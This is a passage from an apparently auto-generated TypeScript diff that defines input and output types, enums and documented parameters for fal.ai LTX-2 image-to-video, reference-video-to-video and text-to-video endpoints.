0.2 + * @type number | undefined + */ + distill_lora_first_pass_scale?: number + /** + * @description The size of the generated video. + * @default auto + */ + video_size?: + | ImageSize0Be7F49D + | InputFalAiLtx2322BImageToVideoLoraVideoSizeKey + /** + * @description The LoRAs to use for the generation. + * @type array + */ + loras: LoRAInput[] + /** + * @description The camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @default 'none' + * @example none + * @type string | undefined + */ + camera_lora?: InputFalAiLtx2322BImageToVideoLoraCameraLoraEnumKey + /** + * @description The scale of the camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + camera_lora_scale?: number + /** + * @description The Spatiotemporal Guidance (STG) scale for the audio. Higher values result in more consistent and focused audio content. + * @minimum 0 + * @maximum 20 + * @default 0 + * @type number | undefined + */ + audio_stg_scale?: number + /** + * @description The quality of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx2322BImageToVideoLoraVideoQualityEnumKey + /** + * @description The URL of the image to use as the end of the video. + */ + end_image_url?: string | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The gamma of gradient estimation during denoising. Set to 0 to disable. + * @minimum 0 + * @maximum 10 + * @default 2 + * @type number | undefined + */ + gradient_estimation_gamma?: number +} + +export type VideoFile29Aafc46 = { + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The width of the video + */ + width?: number | null +} + +export type OutputFalAiLtx2322BImageToVideoLora = { + /** + * @description The generated video. + * @example {"height":704,"file_name":"CJcQGDrxOSRg2YFl5GNDt_glXPMoji.mp4","num_frames":257,"url":"https://v3b.fal.media/files/b/0a88289e/CJcQGDrxOSRg2YFl5GNDt_glXPMoji.mp4","content_type":"video/mp4","duration":10.28,"fps":25,"width":1248} + * @type object + */ + video: VideoFile29Aafc46 + /** + * @description The prompt used for the generation. + * @example Continue the scene naturally, maintaining the same style and motion. + * @type string + */ + prompt: string + /** + * @description The seed used for the random number generator. + * @example 866232447 + * @type integer + */ + seed: number +} + +export type ImageSize077905E7 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiLtx2322BReferenceVideoToVideoAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', + full: 'full', +} as const + +export type InputFalAiLtx2322BReferenceVideoToVideoAccelerationEnumKey = + (typeof inputFalAiLtx2322BReferenceVideoToVideoAccelerationEnum)[keyof typeof inputFalAiLtx2322BReferenceVideoToVideoAccelerationEnum] + +export const inputFalAiLtx2322BReferenceVideoToVideoPreprocessorEnum = { + depth: 'depth', + canny: 'canny', + pose: 'pose', + none: 'none', +} as const + +export type InputFalAiLtx2322BReferenceVideoToVideoPreprocessorEnumKey = + (typeof inputFalAiLtx2322BReferenceVideoToVideoPreprocessorEnum)[keyof typeof inputFalAiLtx2322BReferenceVideoToVideoPreprocessorEnum] + +export const inputFalAiLtx2322BReferenceVideoToVideoSchedulerEnum = { + ltx2: 'ltx2', + linear_quadratic: 'linear_quadratic', + beta: 'beta', +} as const + +export type InputFalAiLtx2322BReferenceVideoToVideoSchedulerEnumKey = + (typeof inputFalAiLtx2322BReferenceVideoToVideoSchedulerEnum)[keyof typeof inputFalAiLtx2322BReferenceVideoToVideoSchedulerEnum] + +export const inputFalAiLtx2322BReferenceVideoToVideoVideoOutputTypeEnum = { + 'X264 (.mp4)': 'X264 (.mp4)', + 'VP9 (.webm)': 'VP9 (.webm)', + 'PRORES4444 (.mov)': 'PRORES4444 (.mov)', + 'GIF (.gif)': 'GIF (.gif)', +} as const + +export type InputFalAiLtx2322BReferenceVideoToVideoVideoOutputTypeEnumKey = + (typeof inputFalAiLtx2322BReferenceVideoToVideoVideoOutputTypeEnum)[keyof typeof inputFalAiLtx2322BReferenceVideoToVideoVideoOutputTypeEnum] + +export const inputFalAiLtx2322BReferenceVideoToVideoVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx2322BReferenceVideoToVideoVideoWriteModeEnumKey = + (typeof inputFalAiLtx2322BReferenceVideoToVideoVideoWriteModeEnum)[keyof typeof inputFalAiLtx2322BReferenceVideoToVideoVideoWriteModeEnum] + +export const inputFalAiLtx2322BReferenceVideoToVideoVideoSize = { + auto: 'auto', + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLtx2322BReferenceVideoToVideoVideoSizeKey = + (typeof inputFalAiLtx2322BReferenceVideoToVideoVideoSize)[keyof typeof inputFalAiLtx2322BReferenceVideoToVideoVideoSize] + +export const inputFalAiLtx2322BReferenceVideoToVideoCameraLoraEnum = { + dolly_in: 'dolly_in', + dolly_out: 'dolly_out', + dolly_left: 'dolly_left', + dolly_right: 'dolly_right', + jib_up: 'jib_up', + jib_down: 'jib_down', + static: 'static', + none: 'none', +} as const + +export type InputFalAiLtx2322BReferenceVideoToVideoCameraLoraEnumKey = + (typeof inputFalAiLtx2322BReferenceVideoToVideoCameraLoraEnum)[keyof typeof inputFalAiLtx2322BReferenceVideoToVideoCameraLoraEnum] + +export const inputFalAiLtx2322BReferenceVideoToVideoVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx2322BReferenceVideoToVideoVideoQualityEnumKey = + (typeof inputFalAiLtx2322BReferenceVideoToVideoVideoQualityEnum)[keyof typeof inputFalAiLtx2322BReferenceVideoToVideoVideoQualityEnum] + +export const inputFalAiLtx2322BReferenceVideoToVideoIcLoraTypeEnum = { + match_preprocessor: 'match_preprocessor', + union: 'union', + detailer: 'detailer', + none: 'none', +} as const + +export type InputFalAiLtx2322BReferenceVideoToVideoIcLoraTypeEnumKey = + (typeof inputFalAiLtx2322BReferenceVideoToVideoIcLoraTypeEnum)[keyof typeof inputFalAiLtx2322BReferenceVideoToVideoIcLoraTypeEnum] + +export type InputFalAiLtx2322BReferenceVideoToVideo = { + /** + * @description Video conditioning strength. Lower values represent more freedom given to the model to change the video content. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + video_strength?: number + /** + * @description An optional URL of an image to use as the first frame of the video. + */ + image_url?: string | null + /** + * @description Whether to generate audio for the video. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Whether to enable prompt expansion. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description Audio conditioning strength. Lower values represent more freedom given to the model to change the audio content. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + audio_strength?: number + /** + * @description Whether to use multi-scale generation. If True, the model will generate the video at a smaller scale first, then use the smaller video to guide the generation of a video at or above your requested size. This results in better coherence and details. + * @default true + * @type boolean | undefined + */ + use_multiscale?: boolean + /** + * @description The modality scale for the audio. Controls the ratio between video and audio modalities. + * @minimum 0 + * @maximum 10 + * @default 3 + * @type number | undefined + */ + audio_modality_scale?: number + /** + * @description The Classifier-Free Guidance (CFG) scale for the video. Higher values result in more consistent and focused video content. + * @minimum 1 + * @maximum 20 + * @default 3 + * @type number | undefined + */ + video_cfg_scale?: number + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The acceleration level to use. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiLtx2322BReferenceVideoToVideoAccelerationEnumKey + /** + * @description The URL of the video to reference. + * @example https://v3b.fal.media/files/b/0a963ecf/eVoII1AsconU8SpPx5xoE_output.mp4 + * @type string + */ + video_url: string + /** + * @description The modality scale for the video. Controls the ratio between video and audio modalities. + * @minimum 0 + * @maximum 10 + * @default 3 + * @type number | undefined + */ + video_modality_scale?: number + /** + * @description The rescaling scale for the video. Controls the ratio between classifier-free guidance and spatiotemporal guidance. + * @minimum 0 + * @maximum 1 + * @default 0.7 + * @type number | undefined + */ + video_rescaling_scale?: number + /** + * @description The preprocessor to use for the generation. + * @default 'none' + * @type string | undefined + */ + preprocessor?: InputFalAiLtx2322BReferenceVideoToVideoPreprocessorEnumKey + /** + * @description Whether to use restart sampling. This will inject a small amount of noise during each denoising step, which can help improve the quality of the generated video. + * @default false + * @type boolean | undefined + */ + use_restart_sampling?: boolean + /** + * @description The number of frames to generate. + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description The number of inference steps to use. + * @minimum 8 + * @maximum 50 + * @default 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The scale of the distill LoRA to use for the second and subsequent passes. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + distill_lora_second_pass_scale?: number + /** + * @description The frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + fps?: number + /** + * @description The scheduler to use. + * @default 'ltx2' + * @example ltx2 + * @type string | undefined + */ + scheduler?: InputFalAiLtx2322BReferenceVideoToVideoSchedulerEnumKey + /** + * @description The Spatiotemporal Guidance (STG) scale for the video. Higher values result in more consistent and focused video content. + * @minimum 0 + * @maximum 20 + * @default 0 + * @type number | undefined + */ + video_stg_scale?: number + /** + * @description The prompt to generate the video from. + * @example style: cinematic/realistic. A man wearing a baseball cap walks through a modern town. He holds a coffee cup. + * @type string + */ + prompt: string + /** + * @description The negative prompt to generate the video from. + * @default 'news broadcast, 3d animation, computer graphics, pc game, console game, video game, cartoon, childish, watermark, logo, text, on screen text, subtitles, titles, signature, slowmo, static' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description When enabled, the number of frames will be calculated based on the video duration and FPS. When disabled, use the specified num_frames. + * @default true + * @type boolean | undefined + */ + match_video_length?: boolean + /** + * @description The Classifier-Free Guidance (CFG) scale for the audio. Higher values result in more consistent and focused audio content. + * @minimum 1 + * @maximum 20 + * @default 7 + * @type number | undefined + */ + audio_cfg_scale?: number + /** + * @description The rescaling scale for the audio. Controls the ratio between classifier-free guidance and spatiotemporal guidance. + * @minimum 0 + * @maximum 1 + * @default 0.7 + * @type number | undefined + */ + audio_rescaling_scale?: number + /** + * @description The output type of the generated video. + * @default 'X264 (.mp4)' + * @type string | undefined + */ + video_output_type?: InputFalAiLtx2322BReferenceVideoToVideoVideoOutputTypeEnumKey + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx2322BReferenceVideoToVideoVideoWriteModeEnumKey + /** + * @description The scale of the distill LoRA to use for the first pass. Set to 0 to disable. + * @minimum 0 + * @maximum 1 + * @default 0.2 + * @type number | undefined + */ + distill_lora_first_pass_scale?: number + /** + * @description The size of the generated video. + * @default auto + */ + video_size?: + | ImageSize077905E7 + | InputFalAiLtx2322BReferenceVideoToVideoVideoSizeKey + /** + * @description The camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @default 'none' + * @example none + * @type string | undefined + */ + camera_lora?: InputFalAiLtx2322BReferenceVideoToVideoCameraLoraEnumKey + /** + * @description The scale of the camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + camera_lora_scale?: number + /** + * @description The Spatiotemporal Guidance (STG) scale for the audio. Higher values result in more consistent and focused audio content. + * @minimum 0 + * @maximum 20 + * @default 0 + * @type number | undefined + */ + audio_stg_scale?: number + /** + * @description The quality of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx2322BReferenceVideoToVideoVideoQualityEnumKey + /** + * @description An optional URL of an audio to use as the audio for the video. If not provided, any audio present in the input video will be used. + */ + audio_url?: string | null + /** + * @description The URL of the image to use as the end of the video. + */ + end_image_url?: string | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The gamma of gradient estimation during denoising. Set to 0 to disable. + * @minimum 0 + * @maximum 10 + * @default 2 + * @type number | undefined + */ + gradient_estimation_gamma?: number + /** + * @description The IC LoRA type to use for the generation. + * @default 'union' + * @example union + * @type string | undefined + */ + ic_lora_type?: InputFalAiLtx2322BReferenceVideoToVideoIcLoraTypeEnumKey + /** + * @description When true, match the output FPS to the input video's FPS instead of using the default target FPS. + * @default true + * @type boolean | undefined + */ + match_input_fps?: boolean +} + +export type VideoFile4430F141 = { + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The width of the video + */ + width?: number | null +} + +export type OutputFalAiLtx2322BReferenceVideoToVideo = { + /** + * @description The generated video. + * @example {"height":1056,"file_name":"vqhmP1B5juujIXfBPTotm_5MBoh7yS.mp4","num_frames":161,"url":"https://v3b.fal.media/files/b/0a9640bb/vqhmP1B5juujIXfBPTotm_5MBoh7yS.mp4","content_type":"video/mp4","duration":6.44,"fps":25,"width":1888} + * @type object + */ + video: VideoFile4430F141 + /** + * @description The prompt used for the generation. + * @example black-and-white video, a cowboy walks through a dusty town, film grain + * @type string + */ + prompt: string + /** + * @description The seed used for the random number generator. + * @example 1490631192028410600 + * @type integer + */ + seed: number +} + +export type ImageSize5A055E57 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiLtx2322BReferenceVideoToVideoLoraAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', + full: 'full', +} as const + +export type InputFalAiLtx2322BReferenceVideoToVideoLoraAccelerationEnumKey = + (typeof inputFalAiLtx2322BReferenceVideoToVideoLoraAccelerationEnum)[keyof typeof inputFalAiLtx2322BReferenceVideoToVideoLoraAccelerationEnum] + +export const inputFalAiLtx2322BReferenceVideoToVideoLoraPreprocessorEnum = { + depth: 'depth', + canny: 'canny', + pose: 'pose', + none: 'none', +} as const + +export type InputFalAiLtx2322BReferenceVideoToVideoLoraPreprocessorEnumKey = + (typeof inputFalAiLtx2322BReferenceVideoToVideoLoraPreprocessorEnum)[keyof typeof inputFalAiLtx2322BReferenceVideoToVideoLoraPreprocessorEnum] + +export const inputFalAiLtx2322BReferenceVideoToVideoLoraSchedulerEnum = { + ltx2: 'ltx2', + linear_quadratic: 'linear_quadratic', + beta: 'beta', +} as const + +export type InputFalAiLtx2322BReferenceVideoToVideoLoraSchedulerEnumKey = + (typeof inputFalAiLtx2322BReferenceVideoToVideoLoraSchedulerEnum)[keyof typeof inputFalAiLtx2322BReferenceVideoToVideoLoraSchedulerEnum] + +export const inputFalAiLtx2322BReferenceVideoToVideoLoraVideoOutputTypeEnum = { + 'X264 (.mp4)': 'X264 (.mp4)', + 'VP9 (.webm)': 'VP9 (.webm)', + 'PRORES4444 (.mov)': 'PRORES4444 (.mov)', + 'GIF (.gif)': 'GIF (.gif)', +} as const + +export type InputFalAiLtx2322BReferenceVideoToVideoLoraVideoOutputTypeEnumKey = + (typeof inputFalAiLtx2322BReferenceVideoToVideoLoraVideoOutputTypeEnum)[keyof typeof inputFalAiLtx2322BReferenceVideoToVideoLoraVideoOutputTypeEnum] + +export const inputFalAiLtx2322BReferenceVideoToVideoLoraVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx2322BReferenceVideoToVideoLoraVideoWriteModeEnumKey = + (typeof inputFalAiLtx2322BReferenceVideoToVideoLoraVideoWriteModeEnum)[keyof typeof inputFalAiLtx2322BReferenceVideoToVideoLoraVideoWriteModeEnum] + +export const inputFalAiLtx2322BReferenceVideoToVideoLoraVideoSize = { + auto: 'auto', + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLtx2322BReferenceVideoToVideoLoraVideoSizeKey = + (typeof inputFalAiLtx2322BReferenceVideoToVideoLoraVideoSize)[keyof typeof inputFalAiLtx2322BReferenceVideoToVideoLoraVideoSize] + +export const inputFalAiLtx2322BReferenceVideoToVideoLoraCameraLoraEnum = { + dolly_in: 'dolly_in', + dolly_out: 'dolly_out', + dolly_left: 'dolly_left', + dolly_right: 'dolly_right', + jib_up: 'jib_up', + jib_down: 'jib_down', + static: 'static', + none: 'none', +} as const + +export type InputFalAiLtx2322BReferenceVideoToVideoLoraCameraLoraEnumKey = + (typeof inputFalAiLtx2322BReferenceVideoToVideoLoraCameraLoraEnum)[keyof typeof inputFalAiLtx2322BReferenceVideoToVideoLoraCameraLoraEnum] + +export const inputFalAiLtx2322BReferenceVideoToVideoLoraVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx2322BReferenceVideoToVideoLoraVideoQualityEnumKey = + (typeof inputFalAiLtx2322BReferenceVideoToVideoLoraVideoQualityEnum)[keyof typeof inputFalAiLtx2322BReferenceVideoToVideoLoraVideoQualityEnum] + +export const inputFalAiLtx2322BReferenceVideoToVideoLoraIcLoraTypeEnum = { + match_preprocessor: 'match_preprocessor', + union: 'union', + detailer: 'detailer', + none: 'none', +} as const + +export type InputFalAiLtx2322BReferenceVideoToVideoLoraIcLoraTypeEnumKey = + (typeof inputFalAiLtx2322BReferenceVideoToVideoLoraIcLoraTypeEnum)[keyof typeof inputFalAiLtx2322BReferenceVideoToVideoLoraIcLoraTypeEnum] + +export type InputFalAiLtx2322BReferenceVideoToVideoLora = { + /** + * @description Video conditioning strength. Lower values represent more freedom given to the model to change the video content. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + video_strength?: number + /** + * @description An optional URL of an image to use as the first frame of the video. + */ + image_url?: string | null + /** + * @description Whether to generate audio for the video. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Whether to enable prompt expansion. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description Audio conditioning strength. Lower values represent more freedom given to the model to change the audio content. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + audio_strength?: number + /** + * @description Whether to use multi-scale generation. If True, the model will generate the video at a smaller scale first, then use the smaller video to guide the generation of a video at or above your requested size. This results in better coherence and details. + * @default true + * @type boolean | undefined + */ + use_multiscale?: boolean + /** + * @description The modality scale for the audio. Controls the ratio between video and audio modalities. + * @minimum 0 + * @maximum 10 + * @default 3 + * @type number | undefined + */ + audio_modality_scale?: number + /** + * @description The Classifier-Free Guidance (CFG) scale for the video. Higher values result in more consistent and focused video content. + * @minimum 1 + * @maximum 20 + * @default 3 + * @type number | undefined + */ + video_cfg_scale?: number + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The acceleration level to use. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiLtx2322BReferenceVideoToVideoLoraAccelerationEnumKey + /** + * @description The URL of the video to reference. + * @example https://v3b.fal.media/files/b/0a963ecf/eVoII1AsconU8SpPx5xoE_output.mp4 + * @type string + */ + video_url: string + /** + * @description The modality scale for the video. Controls the ratio between video and audio modalities. + * @minimum 0 + * @maximum 10 + * @default 3 + * @type number | undefined + */ + video_modality_scale?: number + /** + * @description The rescaling scale for the video. Controls the ratio between classifier-free guidance and spatiotemporal guidance. + * @minimum 0 + * @maximum 1 + * @default 0.7 + * @type number | undefined + */ + video_rescaling_scale?: number + /** + * @description The preprocessor to use for the generation. + * @default 'none' + * @type string | undefined + */ + preprocessor?: InputFalAiLtx2322BReferenceVideoToVideoLoraPreprocessorEnumKey + /** + * @description Whether to use restart sampling. This will inject a small amount of noise during each denoising step, which can help improve the quality of the generated video. + * @default false + * @type boolean | undefined + */ + use_restart_sampling?: boolean + /** + * @description The number of frames to generate. + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description The number of inference steps to use. + * @minimum 8 + * @maximum 50 + * @default 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The scale of the distill LoRA to use for the second and subsequent passes. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + distill_lora_second_pass_scale?: number + /** + * @description The frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + fps?: number + /** + * @description The scheduler to use. + * @default 'ltx2' + * @example ltx2 + * @type string | undefined + */ + scheduler?: InputFalAiLtx2322BReferenceVideoToVideoLoraSchedulerEnumKey + /** + * @description The Spatiotemporal Guidance (STG) scale for the video. Higher values result in more consistent and focused video content. + * @minimum 0 + * @maximum 20 + * @default 0 + * @type number | undefined + */ + video_stg_scale?: number + /** + * @description The prompt to generate the video from. + * @example style: cinematic/realistic. A man wearing a baseball cap walks through a modern town. He holds a coffee cup. + * @type string + */ + prompt: string + /** + * @description The negative prompt to generate the video from. + * @default 'news broadcast, 3d animation, computer graphics, pc game, console game, video game, cartoon, childish, watermark, logo, text, on screen text, subtitles, titles, signature, slowmo, static' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description When enabled, the number of frames will be calculated based on the video duration and FPS. When disabled, use the specified num_frames. + * @default true + * @type boolean | undefined + */ + match_video_length?: boolean + /** + * @description The Classifier-Free Guidance (CFG) scale for the audio. Higher values result in more consistent and focused audio content. + * @minimum 1 + * @maximum 20 + * @default 7 + * @type number | undefined + */ + audio_cfg_scale?: number + /** + * @description The rescaling scale for the audio. Controls the ratio between classifier-free guidance and spatiotemporal guidance. + * @minimum 0 + * @maximum 1 + * @default 0.7 + * @type number | undefined + */ + audio_rescaling_scale?: number + /** + * @description The output type of the generated video. + * @default 'X264 (.mp4)' + * @type string | undefined + */ + video_output_type?: InputFalAiLtx2322BReferenceVideoToVideoLoraVideoOutputTypeEnumKey + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx2322BReferenceVideoToVideoLoraVideoWriteModeEnumKey + /** + * @description The scale of the distill LoRA to use for the first pass. Set to 0 to disable. + * @minimum 0 + * @maximum 1 + * @default 0.2 + * @type number | undefined + */ + distill_lora_first_pass_scale?: number + /** + * @description The size of the generated video. + * @default auto + */ + video_size?: + | ImageSize5A055E57 + | InputFalAiLtx2322BReferenceVideoToVideoLoraVideoSizeKey + /** + * @description The LoRAs to use for the generation. + * @type array + */ + loras: LoRAInput[] + /** + * @description The camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @default 'none' + * @example none + * @type string | undefined + */ + camera_lora?: InputFalAiLtx2322BReferenceVideoToVideoLoraCameraLoraEnumKey + /** + * @description The scale of the camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + camera_lora_scale?: number + /** + * @description The Spatiotemporal Guidance (STG) scale for the audio. Higher values result in more consistent and focused audio content. + * @minimum 0 + * @maximum 20 + * @default 0 + * @type number | undefined + */ + audio_stg_scale?: number + /** + * @description The quality of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx2322BReferenceVideoToVideoLoraVideoQualityEnumKey + /** + * @description An optional URL of an audio to use as the audio for the video. If not provided, any audio present in the input video will be used. + */ + audio_url?: string | null + /** + * @description The URL of the image to use as the end of the video. + */ + end_image_url?: string | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The gamma of gradient estimation during denoising. Set to 0 to disable. + * @minimum 0 + * @maximum 10 + * @default 2 + * @type number | undefined + */ + gradient_estimation_gamma?: number + /** + * @description The IC LoRA type to use for the generation. + * @default 'union' + * @example union + * @type string | undefined + */ + ic_lora_type?: InputFalAiLtx2322BReferenceVideoToVideoLoraIcLoraTypeEnumKey + /** + * @description When true, match the output FPS to the input video's FPS instead of using the default target FPS. + * @default true + * @type boolean | undefined + */ + match_input_fps?: boolean +} + +export type VideoFile39D443C4 = { + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The width of the video + */ + width?: number | null +} + +export type OutputFalAiLtx2322BReferenceVideoToVideoLora = { + /** + * @description The generated video. + * @example {"height":1056,"file_name":"vqhmP1B5juujIXfBPTotm_5MBoh7yS.mp4","num_frames":161,"url":"https://v3b.fal.media/files/b/0a9640bb/vqhmP1B5juujIXfBPTotm_5MBoh7yS.mp4","content_type":"video/mp4","duration":6.44,"fps":25,"width":1888} + * @type object + */ + video: VideoFile39D443C4 + /** + * @description The prompt used for the generation. + * @example black-and-white video, a cowboy walks through a dusty town, film grain + * @type string + */ + prompt: string + /** + * @description The seed used for the random number generator. + * @example 1490631192028410600 + * @type integer + */ + seed: number +} + +export type ImageSizeBa5644C5 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiLtx2322BTextToVideoAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', + full: 'full', +} as const + +export type InputFalAiLtx2322BTextToVideoAccelerationEnumKey = + (typeof inputFalAiLtx2322BTextToVideoAccelerationEnum)[keyof typeof inputFalAiLtx2322BTextToVideoAccelerationEnum] + +export const inputFalAiLtx2322BTextToVideoSchedulerEnum = { + ltx2: 'ltx2', + linear_quadratic: 'linear_quadratic', + beta: 'beta', +} as const + +export type InputFalAiLtx2322BTextToVideoSchedulerEnumKey = + (typeof inputFalAiLtx2322BTextToVideoSchedulerEnum)[keyof typeof inputFalAiLtx2322BTextToVideoSchedulerEnum] + +export const inputFalAiLtx2322BTextToVideoVideoOutputTypeEnum = { + 'X264 (.mp4)': 'X264 (.mp4)', + 'VP9 (.webm)': 'VP9 (.webm)', + 'PRORES4444 (.mov)': 'PRORES4444 (.mov)', + 'GIF (.gif)': 'GIF (.gif)', +} as const + +export type InputFalAiLtx2322BTextToVideoVideoOutputTypeEnumKey = + (typeof inputFalAiLtx2322BTextToVideoVideoOutputTypeEnum)[keyof typeof inputFalAiLtx2322BTextToVideoVideoOutputTypeEnum] + +export const inputFalAiLtx2322BTextToVideoVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx2322BTextToVideoVideoWriteModeEnumKey = + (typeof inputFalAiLtx2322BTextToVideoVideoWriteModeEnum)[keyof typeof inputFalAiLtx2322BTextToVideoVideoWriteModeEnum] + +export const inputFalAiLtx2322BTextToVideoVideoSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLtx2322BTextToVideoVideoSizeKey = + (typeof inputFalAiLtx2322BTextToVideoVideoSize)[keyof typeof inputFalAiLtx2322BTextToVideoVideoSize] + +export const inputFalAiLtx2322BTextToVideoCameraLoraEnum = { + dolly_in: 'dolly_in', + dolly_out: 'dolly_out', + dolly_left: 'dolly_left', + dolly_right: 'dolly_right', + jib_up: 'jib_up', + jib_down: 'jib_down', + static: 'static', + none: 'none', +} as const + +export type InputFalAiLtx2322BTextToVideoCameraLoraEnumKey = + (typeof inputFalAiLtx2322BTextToVideoCameraLoraEnum)[keyof typeof inputFalAiLtx2322BTextToVideoCameraLoraEnum] + +export const inputFalAiLtx2322BTextToVideoVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx2322BTextToVideoVideoQualityEnumKey = + (typeof inputFalAiLtx2322BTextToVideoVideoQualityEnum)[keyof typeof inputFalAiLtx2322BTextToVideoVideoQualityEnum] + +export type InputFalAiLtx2322BTextToVideo = { + /** + * @description Whether to use multi-scale generation. If True, the model will generate the video at a smaller 